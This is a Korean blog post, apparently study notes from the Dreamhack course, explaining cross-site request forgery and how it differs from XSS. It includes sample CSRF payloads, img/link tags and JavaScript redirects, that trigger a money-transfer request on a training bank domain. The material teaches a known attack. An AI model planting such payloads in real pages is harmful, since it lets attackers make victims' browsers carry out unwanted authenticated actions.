Cross Site Request Forgery (CSRF)
CSRF는 교차 사이트 요청 위조로 간단하게 예시를 들면 싸인만 되어있고 내용은 적혀있지 않은 계약서를 빼앗아 공격자 마음대로 계약서 내용을 적는것 이라고 보시면 됩니다
그렇다면 이미 계약서엔 싸인이 되어있기 때문에 그 계약서는 효력을 발휘할 수 있습니다
이런식으로 CSRF는 클라이언트를 속여서 의도치 않는 요청에 동의하는 공격을 말합니다
CSRF 공격에 성공하기 위해선 공격자가 작성한 악성 스크립트를 이용자가 실행해야 합니다
이런 공격 방식에는 메일을 보내거나 게시판의 글을 이용자가 조회하도록 유도하는 등의 방법이 있습니다
CSRF 공격 스크립트는 HTML 혹은 JS를 통해 작성할 수 있습니다

위 사진은 HTML로 작성한 스크립트입니다 img 태그나 form 태그를 통해 HTTP 요청을 하면 HTTP 헤더인 Cookie에 클라이언트의 인증 정보가 포함됩니다
HTML img 태그 공격 코드 예시
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>
<img src="/sendmoney?to=dreamhack&amount=1337">
<img src=1 onerror="fetch('/sendmoney?to=dreamhack&amount=1337');">
<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">
Javascript 공격 태그 예시
/* 새 창 띄우기 */
window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
/* 현재 창 주소 옮기기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337';
location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
XSS 와 CSRF의 차이
공통점
두 공격 모두 클라이언트를 대상으로 하는 공격이며, 클라이언트가 악성 스크립트가 있는 페이지에 접속하게 해야합니다
차이점
XSS는 인증 정보인 세션과 쿠키 탈취를 목적으로 합니다
하지만 CSRF는 클라이언트가 임의 페이지에 HTTP 요청을 보내는 특정 기능을 실행하는것을 목표로 합니다
'Web Hacking' 카테고리의 다른 글
[Dreamhack] ServerSide: SQL Injection (0) | 2023.04.06 |
---|---|
[Dreamhack] Background : Relational DBMS (0) | 2023.04.04 |
[Dreamhack] ClientSide : XSS (0) | 2023.03.30 |
[Dreamhack] Mitigation: Same Origin Policy (0) | 2023.03.30 |
[Dreamhack] Background: Cookie & Session (0) | 2023.03.29 |